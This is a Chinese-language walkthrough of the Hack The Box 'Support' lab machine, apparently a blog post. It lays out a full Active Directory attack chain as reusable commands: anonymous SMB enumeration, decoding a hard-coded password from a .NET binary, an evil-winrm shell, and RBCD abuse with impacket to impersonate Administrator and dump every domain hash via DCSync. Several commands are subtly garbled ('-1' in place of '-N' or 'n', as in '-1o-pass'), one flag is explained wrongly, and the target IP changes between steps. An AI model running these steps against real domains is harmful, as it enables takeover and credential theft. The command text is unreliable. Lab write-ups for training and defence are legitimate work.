Listen to this Post

Introduction
在Active Directory渗透测试中,最危险的往往不是0-day漏洞,而是配置疏忽与信息残留的叠加效应。HTB “Support” 这台机器完美诠释了这一理念——攻击者无需任何漏洞利用,仅通过SMB匿名共享、.NET二进制文件硬编码凭证、LDAP属性信息泄露,最终借助RBCD(Resource-Based Constrained Delegation)技术实现从无权限到域管理员的完整提权。本文将逐步拆解这条攻击链的每一个环节,并提供可直接复用的命令与工具配置。
Learning Objectives & Secrets
- Objective 1: 掌握AD环境下的信息收集方法论——从端口扫描识别域控制器特征,到通过LDAP匿名绑定提取域名信息,建立系统化的侦察思维。
-
Objective 2 (Secret): SMB匿名共享的深度利用——不仅仅是用
smbclient -1列出共享,更要学会递归枚举、批量下载以及从非标准共享名(如support-tools)中识别高价值目标。 -
Objective 3 (Secret): .NET二进制逆向与凭证提取——使用ILSpy/dnSpy反编译UserInfo.exe,定位XOR加密逻辑并提取硬编码LDAP密码,这是从”无凭证”到”有凭证”的关键转折点。
You Should Know
1. 端口扫描与AD指纹识别
AD域控制器有其独特的端口组合特征。使用RustScan进行快速全端口扫描,再将结果导入Nmap进行深度服务探测:
快速扫描所有TCP端口 rustscan -a 10.129.29.61 -- -A 或使用nmap手动扫描关键端口 nmap -p 53,88,135,139,389,445,464,636,3268,3269,5985,9389 -sV -sC 10.129.29.61
关键发现解读:端口445(SMB)、389/3268(LDAP)、464(kpasswd)、53(DNS)、5985(WinRM)同时开放,且TTL=127表明目标为Windows系统,这些特征组合几乎可以断定目标是一台域控制器。LDAP匿名绑定可直接提取`dnsHostName`属性,确认域名为`support.htb`,域控为`dc.support.htb`:
ldapsearch -x -H ldap://10.129.29.61 -s base dnsHostName
获取域名后,务必将其加入`/etc/hosts`——这是后续Kerberos认证能够正常工作的前提:
echo "10.129.29.61 dc.support.htb support.htb" >> /etc/hosts
2. SMB匿名共享枚举与文件提取
SMB空会话(null session)是AD环境中极为常见的配置弱点。使用`-1`参数表示无需密码进行匿名登录:
列出所有可访问的共享 smbclient -L //10.129.29.165/ -1 发现非标准共享 "support-tools" 后,递归枚举其内容 smbclient //10.129.29.165/support-tools -1 -c 'recurse;ls' 下载可疑文件 UserInfo.exe.zip smbclient //10.129.29.165/support-tools -1 -c 'get UserInfo.exe.zip'
Windows环境替代方案:若攻击机为Windows,可使用`net view`或PowerShell的`Get-SmbShare`进行枚举:
PowerShell枚举SMB共享 Get-SmbShare -CimSession 10.129.29.165 使用mount挂载匿名共享 net use \10.129.29.165\support-tools /user:"" ""
3. .NET二进制逆向工程与凭证提取
`UserInfo.exe` 是一个.NET编译的可执行文件,其核心功能是查询LDAP以获取用户信息——但密码被硬编码在二进制文件中。
Step 1 – 反编译:使用ILSpy(GUI)或dnSpy打开`UserInfo.exe`,浏览至`Main`方法或`LdapQuery`相关类。
Step 2 – 定位凭证:在代码中搜索`password`、`credential`、`ldap`等关键词。你会发现密码并非明文存储,而是经过简单XOR加密。
Step 3 – 还原密码:分析XOR加密逻辑(通常为单字节异或),编写解密脚本或使用CyberChef还原明文。常见的XOR密钥可能为`0x10`、`0x7F`或特定ASCII字符。
XOR解密示例脚本
encrypted = bytes.fromhex("...") 从二进制中提取的加密字节
key = 0x10
plaintext = ''.join(chr(b ^ key) for b in encrypted)
print(plaintext)
Step 4 – 提取LDAP账号:代码中还会暴露LDAP查询使用的账号,通常格式为`svc_ldap`或`support\username`。结合还原出的密码,即可获得一组有效的AD域凭证。
4. WinRM远程Shell获取
获得有效凭证后,5985端口的WinRM(Windows Remote Management)服务便成为最干净的入口——无需上传任何Payload,直接获得交互式Shell:
使用evil-winrm连接(推荐) evil-winrm -i 10.129.29.165 -u 'support\svc_ldap' -p '还原出的密码' 或使用crackmapexec验证凭证有效性 crackmapexec winrm 10.129.29.165 -u 'svc_ldap' -p '密码'
Windows原生方案:
PowerShell Enter-PSSession $cred = Get-Credential 'support\svc_ldap' Enter-PSSession -ComputerName 10.129.29.165 -Credential $cred
5. LDAP深度枚举与隐藏信息提取
进入Shell后,利用已获得的LDAP凭证进行更深入的域信息收集:
枚举所有域用户 ldapsearch -x -H ldap://dc.support.htb -D "support\svc_ldap" -w '密码' -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName 提取所有用户属性,重点关注 info、description、comment 等字段 ldapsearch -x -H ldap://dc.support.htb -D "support\svc_ldap" -w '密码' -b "DC=support,DC=htb" | grep -i "info|description|comment"
关键发现:某些AD管理员习惯在用户的`info`或`description`属性中记录备注信息——而”Support”机器中,恰好有一个账号的`info`属性残留了明文密码或其他敏感信息。这通常是权限提升的第二个关键跳板。
PowerView替代方案(Windows环境):
加载PowerView Import-Module .\PowerView.ps1 枚举域用户及其属性 Get-DomainUser -Properties samaccountname,info,description,comment
6. BloodHound与攻击路径分析
BloodHound是AD权限提升分析的核心工具。在目标机器或攻击机上运行SharpHound收集器:
在目标机器上通过evil-winrm上传并运行SharpHound upload SharpHound.exe .\SharpHound.exe -c All --zipfilename loot.zip download loot.zip
将生成的zip文件导入BloodHound CE(社区版),使用预置查询分析攻击路径:
- “Find Shortest Paths to Domain Admins” —— 查看从当前用户到域管理员的路径
- “List all users with DCSync rights” —— 检查DCSync权限
- “Find principals with constrained delegation” —— 查找委派配置
在”Support”中,BloodHound会揭示当前用户对域控具有GenericAll或WriteProperty权限,这为RBCD攻击铺平了道路。
7. RBCD(Resource-Based Constrained Delegation)权限提升
RBCD是Windows Server 2012引入的委派机制,允许计算机账户自己决定哪些主体可以委派给自己。攻击者利用`MachineAccountQuota`(默认允许普通域用户创建最多10个计算机账户)的配置,创建一个伪造的计算机账户,然后配置该账户对域控具有委派权限,最终模拟域管理员获取Kerberos服务票据。
Step 1 – 创建机器账户(使用Powermad或impacket):
使用impacket的addcomputer.py python3 addcomputer.py -method LDAPS -computer-1ame 'ATTACK$' -computer-pass 'Password123' -dc-host dc.support.htb 'support.htb/svc_ldap:密码'
Step 2 – 配置RBCD(使用impacket的rbcd.py):
将新创建的机器账户配置为对域控具有委派权限 python3 rbcd.py -delegate-from 'ATTACK$' -delegate-to 'dc$' -dc-ip 10.129.29.165 -action write 'support.htb/svc_ldap:密码'
Step 3 – 请求Kerberos服务票据(使用Rubeus或impacket的getST):
使用impacket的getST请求模拟Administrator的TGS python3 getST.py -spn 'cifs/dc.support.htb' -impersonate 'Administrator' -dc-ip 10.129.29.165 'support.htb/ATTACK$:Password123'
Step 4 – 导入票据并访问(Linux):
export KRB5CCNAME=Administrator.ccache klist 使用psexec或wmiexec以Administrator身份登录 python3 psexec.py -k -1o-pass support.htb/[email protected]
Step 5 – DCSync与Hash Dump:
获得域管理员权限后,最直接的目标是执行DCSync攻击,转储所有域用户的NT Hash:
使用impacket的secretsdump python3 secretsdump.py -just-dc 'support.htb/[email protected]' -k -1o-pass
What Undercode Say
- Key Takeaway 1:配置错误比漏洞更致命。SMB匿名共享、硬编码密码、LDAP属性信息残留——这三个”小问题”单独看都不足以构成威胁,但串联起来却能导致域控沦陷。安全加固不能只盯着CVE,更要关注”配置卫生”。
-
Key Takeaway 2:RBCD攻击是AD域渗透的”王炸”技术。MachineAccountQuota的默认配置(允许创建10个机器账户)使得任何拥有域凭据的攻击者都有机会通过RBCD直达域管理员。防御方应严格限制MachineAccountQuota并监控异常机器账户的创建行为。
从技术角度看,”Support”的难度虽被标记为”Easy”,但其攻击链覆盖了从外部侦察到内部提权的完整流程,是学习AD渗透测试的绝佳范本。值得注意的是,整个攻击过程中没有使用任何内存漏洞或0-day——一切都是”设计如此”的功能被恶意组合利用。这也提醒我们:安全不是关于”修复漏洞”,而是关于”消除可被利用的组合”。
Prediction
-
+1:RBCD攻击检测技术将加速成熟。微软已在Windows Server 2025中增强了对异常机器账户创建和委派配置变更的审计日志,未来EDR/XDR产品将原生支持RBCD攻击链的实时告警。
-
+1:AD安全配置的自动化审计工具将迎来爆发式增长。类似”Support”这样的攻击路径将被纳入CIS Benchmark和STIG的自动化扫描规则中,降低人为配置疏忽的风险。
-
-1:在中小型企业环境中,AD配置混乱仍是常态。MachineAccountQuota未收紧、LDAP匿名绑定未禁用、SMB空会话未关闭等问题将在未来3-5年内持续存在,成为攻击者的首选入口。
-
-1:.NET二进制文件的硬编码凭证问题短期内难以根治。开发人员的便捷性偏好与安全团队的硬性要求之间的博弈将持续,而逆向工程工具(ILSpy/dnSpy)的不断进化将使这类问题更加容易被发现和利用。
-
+1:红队演练将更多采用”配置链攻击”而非”漏洞利用”模式。像”Support”这样的非漏洞型攻击路径将成为红队标准TTP(战术、技术与程序)的一部分,推动企业从”漏洞管理”向”攻击路径管理”转型。
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/eVe9nhhj – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅



